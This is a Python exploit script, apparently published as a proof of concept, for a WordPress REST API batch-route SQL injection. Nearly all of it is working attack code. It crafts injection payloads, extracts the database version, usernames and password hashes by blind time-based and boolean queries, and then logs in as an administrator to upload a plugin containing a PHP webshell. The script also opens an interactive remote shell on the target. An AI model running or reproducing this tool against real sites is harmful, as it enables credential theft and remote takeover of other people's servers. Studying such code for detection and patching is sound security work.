wp2shell-exploit.py

#!/usr/bin/env python3
"""
wp2shell - WordPress CVE-2026-63030 Exploit & Scanner
Author: Lutfifakee-Project (https://github.com/Lutfifakee-Project/wp2shell)
Description: Standalone script for CVE-2026-63030 (REST API batch route-confusion + SQLi)
"""

import sys
import re
import json
import time
import shlex
import argparse
import urllib.parse
import urllib.request
import urllib.error
import http.cookiejar
import io
import zipfile
import secrets
import uuid
from dataclasses import dataclass
from typing import Any, Optional, Dict, Tuple, Callable, List

__version__ = "1.0.0"
UA = "wp2shell/1.0"
_TIMEOUT = 30
_TTY = sys.stdout.isatty()

def _paint(code: str, text: str) -> str:
    return f"\033[{code}m{text}\033[0m" if _TTY else text

def info(msg: str) -> None:
    print(f"[*] {msg}")

def good(msg: str) -> None:
    print(_paint("32", f"[+] {msg}"))

def bad(msg: str) -> None:
    print(_paint("31", f"[-] {msg}"))

def warn(msg: str) -> None:
    print(_paint("33", f"[!] {msg}"))

def _progress(text: str) -> None:
    if _TTY:
        sys.stdout.write("\r\033[K    " + text)
        sys.stdout.flush()

def _clear_progress() -> None:
    if _TTY:
        sys.stdout.write("\r\033[K")
        sys.stdout.flush()

_DESYNC_PRIMER = {"method": "POST", "path": "///"}

class TargetError(Exception):
    pass

@dataclass
class Response:
    status: int
    elapsed: float
    body: str

    def json(self) -> Any:
        return json.loads(self.body)

class BatchClient:
    def __init__(self, base_url: str, *, timeout: float = 30.0, rest_route: bool = False, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.rest_route = rest_route
        self.user_agent = UA
        handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
        self._opener = urllib.request.build_opener(*handlers)

    @property
    def endpoint(self) -> str:
        if self.rest_route:
            return f"{self.base_url}/?rest_route=/batch/v1"
        return f"{self.base_url}/wp-json/batch/v1"

    def post(self, payload: dict) -> Response:
        req = urllib.request.Request(
            self.endpoint,
            data=json.dumps(payload).encode(),
            method="POST",
            headers={"Content-Type": "application/json", "User-Agent": self.user_agent},
        )
        start = time.monotonic()
        try:
            resp = self._opener.open(req, timeout=self.timeout)
            status, body = resp.status, resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as exc:
            status, body = exc.code, exc.read().decode("utf-8", "replace")
        except OSError as exc:
            reason = getattr(exc, "reason", exc)
            raise TargetError(f"cannot reach {self.endpoint}: {reason}")
        return Response(status, time.monotonic() - start, body)

    def probe(self) -> Response:
        return self.post({"requests": []})

    def inject(self, author_not_in: str) -> Response:
        return self.post(self._payload(author_not_in))

    def rows(self, response: Response) -> Optional[list]:
        try:
            inner = response.json()["responses"][1]["body"]
            result = inner["responses"][1]["body"]
        except (KeyError, IndexError, TypeError, ValueError):
            return None
        return result if isinstance(result, list) else None

    @staticmethod
    def _payload(author_not_in: str) -> dict:
        inner = {
            "requests": [
                _DESYNC_PRIMER,
                {
                    "method": "GET",
                    "path": "/wp/v2/users?author_exclude=" + urllib.parse.quote(author_not_in, safe=""),
                },
                {"method": "GET", "path": "/wp/v2/posts"},
            ]
        }
        return {
            "requests": [
                _DESYNC_PRIMER,
                {"method": "POST", "path": "/wp/v2/posts", "body": inner},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ]
        }

_MIN_PRINTABLE = 32
_MAX_PRINTABLE = 126

class BlindSQLi:
    def __init__(self, client: BatchClient, *, sleep: float = 3.0):
        self.client = client
        self.sleep = sleep
        self.requests = 0

    def confirm(self) -> Tuple[bool, float, float]:
        baseline = self._elapsed("SLEEP(0)")
        delayed = self._elapsed(f"SLEEP({self.sleep:g})")
        confirmed = (delayed - baseline) >= (self.sleep - 1.0)
        return confirmed, baseline, delayed

    def extract(self, expression: str, *, max_length: int = 128, on_char: Optional[Callable[[str], None]] = None) -> str:
        chars = []
        for pos in range(1, max_length + 1):
            probe = f"ASCII(SUBSTRING(({expression}),{pos},1))"
            if not self._true(f"{probe} > 0"):
                break
            low, high = _MIN_PRINTABLE, _MAX_PRINTABLE
            while low < high:
                mid = (low + high) // 2
                if self._true(f"{probe} > {mid}"):
                    low = mid + 1
                else:
                    high = mid
            chars.append(chr(low))
            if on_char:
                on_char("".join(chars))
        return "".join(chars)

    def integer(self, expression: str) -> int:
        text = self.extract(expression).strip()
        return int(text) if text.lstrip("-").isdigit() else 0

    def _elapsed(self, sql: str) -> float:
        self.requests += 1
        return self.client.inject(f"0) OR {sql}-- -").elapsed

    def _true(self, condition: str) -> bool:
        self.requests += 1
        return bool(self.client.rows(self.client.inject(f"0) AND ({condition})-- -")))

_MARKER = "WP2SHELL"

class AdminSession:
    def __init__(self, base_url: str, *, timeout: float = 20.0, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self._slug = "wp2shell_" + secrets.token_hex(4)
        self._token = secrets.token_hex(16)
        self._jar = http.cookiejar.CookieJar()
        handlers = [urllib.request.HTTPCookieProcessor(self._jar)]
        if proxy:
            handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
        self._opener = urllib.request.build_opener(*handlers)
        self._opener.addheaders = [("User-Agent", UA)]

    def login(self, username: str, password: str) -> bool:
        self._get("/wp-login.php")
        self._post("/wp-login.php", {
            "log": username,
            "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": f"{self.base_url}/wp-admin/",
            "testcookie": "1",
        })
        return any(c.name.startswith("wordpress_logged_in") for c in self._jar)

    def deploy_webshell(self) -> str:
        page = self._get("/wp-admin/plugin-install.php?tab=upload")
        nonce = self._nonce(page)
        if not nonce:
            raise RuntimeError("plugin-upload nonce not found (are the credentials valid?)")
        body, content_type = self._multipart(
            {
                "_wpnonce": nonce,
                "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
                "install-plugin-submit": "Install Now",
            },
            {"pluginzip": (f"{self._slug}.zip", self._plugin_zip())},
        )
        self._post("/wp-admin/update.php?action=upload-plugin", body, {"Content-Type": content_type})
        return f"/wp-content/plugins/{self._slug}/{self._slug}.php"

    def run(self, shell_path: str, command: str) -> Optional[str]:
        query = urllib.parse.urlencode({"t": self._token, "c": command})
        output = self._get(f"{shell_path}?{query}")
        match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S)
        return match.group(1) if match else None

    def _get(self, path: str) -> str:
        return self._opener.open(self.base_url + path, timeout=self.timeout).read().decode("utf-8", "replace")

    def _post(self, path: str, data, headers: Optional[dict] = None) -> str:
        if isinstance(data, dict):
            data = urllib.parse.urlencode(data).encode()
        req = urllib.request.Request(self.base_url + path, data=data, headers=headers or {})
        return self._opener.open(req, timeout=self.timeout).read().decode("utf-8", "replace")

    def _plugin_zip(self) -> bytes:
        php = (
            "<?php\n"
            "/*\nPlugin Name: wp2shell\nDescription: PoC webshell. Delete after testing.\n*/\n"
            f"if (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
            f"    echo '{_MARKER}::' . shell_exec((string) $_GET['c']) . '::END';\n"
            "}\n"
        )
        buffer = io.BytesIO()
        with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
            archive.writestr(f"{self._slug}/{self._slug}.php", php)
        return buffer.getvalue()

    @staticmethod
    def _nonce(html: str) -> Optional[str]:
        form = re.search(r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"', html, re.S)
        if form:
            return form.group(1)
        tag = re.search(r'<input[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html)
        return tag.group(1) if tag else None

    @staticmethod
    def _multipart(fields: Dict[str, str], files: Dict[str, Tuple[str, bytes]]) -> Tuple[bytes, str]:
        boundary = "----wp2shell" + uuid.uuid4().hex
        buffer = io.BytesIO()
        for name, value in fields.items():
            buffer.write(f"--{boundary}\r\n".encode())
            buffer.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode())
        for name, (filename, content) in files.items():
            buffer.write(f"--{boundary}\r\n".encode())
            buffer.write(f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode())
            buffer.write(b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n")
        buffer.write(f"--{boundary}--\r\n".encode())
        return buffer.getvalue(), f"multipart/form-data; boundary={boundary}"

_CWD_MARK = "__wp2shellcwd__"

def cmd_check(args: argparse.Namespace) -> int:
    client = BatchClient(
        args.url,
        timeout=max(args.timeout, args.sleep + 10),
        rest_route=args.rest_route,
        proxy=args.proxy,
    )
    probe = client.probe()
    if probe.status != 207:
        bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
        return 1
    good("Batch endpoint reachable and unauthenticated (HTTP 207).")

    confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm()
    if confirmed:
        good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
        return 0
    bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
    return 2

def cmd_read(args: argparse.Namespace) -> int:
    client = BatchClient(args.url, timeout=args.timeout, rest_route=args.rest_route, proxy=args.proxy)
    sqli = BlindSQLi(client)

    if args.query:
        info(f"Reading: {args.query}")
        value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress)
        _clear_progress()
        good(f"Result: {value}")
    elif args.preset == "fingerprint":
        for label, expr in (
            ("MySQL version", "SELECT @@version"),
            ("Database user", "SELECT CURRENT_USER()"),
            ("Database name", "SELECT DATABASE()"),
        ):
            good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
    elif args.preset == "users":
        table = f"{args.prefix}users"
        total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
        info(f"{total} user(s) in {table}.")
        for offset in range(total):
            row = sqli.extract(
                f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) FROM {table} ORDER BY ID LIMIT {offset},1",
                max_length=args.max_length,
                on_char=_progress,
            )
            _clear_progress()
            good(row)

    info(f"{sqli.requests} request(s) sent.")
    return 0

def _repl(session: AdminSession, path: str) -> None:
    pwd = session.run(path, "pwd")
    if pwd is None:
        bad("webshell not responding; aborting interactive mode.")
        return
    cwd = pwd.strip() or "/"
    info("Interactive shell — type 'exit' or Ctrl-D to quit.")
    while True:
        try:
            line = input(_paint("36", f"{cwd} $ "))
        except (EOFError, KeyboardInterrupt):
            print()
            return
        command = line.strip()
        if not command:
            continue
        if command in ("exit", "quit"):
            return
        out = session.run(
            path, f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\""
        )
        if out is None:
            bad("no response from webshell")
            continue
        body, marker, tail = out.rpartition(_CWD_MARK)
        if marker:
            cwd = tail.strip() or cwd
            out = body
        out = out.rstrip("\n")
        if out:
            print(out)

def cmd_shell(args: argparse.Namespace) -> int:
    if not args.cmd and not args.interactive:
        bad("specify --cmd or --interactive")
        return 2

    warn("This uploads a plugin containing a webshell to the target.")
    session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)

    info(f"Authenticating as {args.user!r}...")
    if not session.login(args.user, args.password):
        bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').")
        return 1
    good("Authenticated.")

    info("Deploying webshell plugin...")
    path = session.deploy_webshell()
    good(f"Webshell: {args.url.rstrip('/')}{path}")

    rc = 0
    if args.cmd:
        output = session.run(path, args.cmd)
        if output is None:
            bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.")
            rc = 1
        else:
            print()
            print(output.rstrip("\n"))
            print()

    if args.interactive:
        _repl(session, path)

    if not args.keep:
        warn(f"Remove the webshell when finished (delete {path} on the target).")
    return rc

def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        prog="wp2shell",
        description="WordPress REST batch route-confusion SQLi/RCE PoC (CVE-2026-63030).",
        epilog="Author: Lutfifakee-Project (https://github.com/Lutfifakee-Project/wp2shell)"
    )
    parser.add_argument("--version", action="version", version=f"wp2shell {__version__}")
    sub = parser.add_subparsers(dest="command", required=True)

    # check command
    check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
    check.add_argument("url", help="target base URL, e.g. http://target")
    check.add_argument("--rest-route", action="store_true", help="use /?rest_route=/batch/v1")
    check.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
    check.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
    check.set_defaults(func=cmd_check)

    # read command
    read = sub.add_parser("read", help="read from the database via blind SQL injection")
    read.add_argument("url", help="target base URL, e.g. http://target")
    read.add_argument("--rest-route", action="store_true", help="use /?rest_route=/batch/v1")
    read.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
    read.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    group = read.add_mutually_exclusive_group()
    group.add_argument("--preset", choices=("fingerprint", "users"), default="fingerprint",
                       help="fingerprint (version/user/db) or users (logins and password hashes)")
    group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"')
    read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)")
    read.add_argument("--max-length", type=int, default=128, help="max characters per value")
    read.set_defaults(func=cmd_read)

    # shell command
    shell = sub.add_parser("shell", help="execute a command (requires admin credentials)")
    shell.add_argument("url", help="target base URL, e.g. http://target")
    shell.add_argument("--rest-route", action="store_true", help="use /?rest_route=/batch/v1")
    shell.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
    shell.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    shell.add_argument("--user", required=True, help="admin username")
    shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
    shell.add_argument("--cmd", help="command to run on the target")
    shell.add_argument("-i", "--interactive", action="store_true", help="open an interactive shell")
    shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell")
    shell.set_defaults(func=cmd_shell)

    return parser

def main(argv: Optional[list] = None) -> int:
    parser = build_parser()
    args = parser.parse_args(argv)
    try:
        return args.func(args)
    except KeyboardInterrupt:
        return 130
    except Exception as exc:
        bad(str(exc))
        return 1

if __name__ == "__main__":
    sys.exit(main())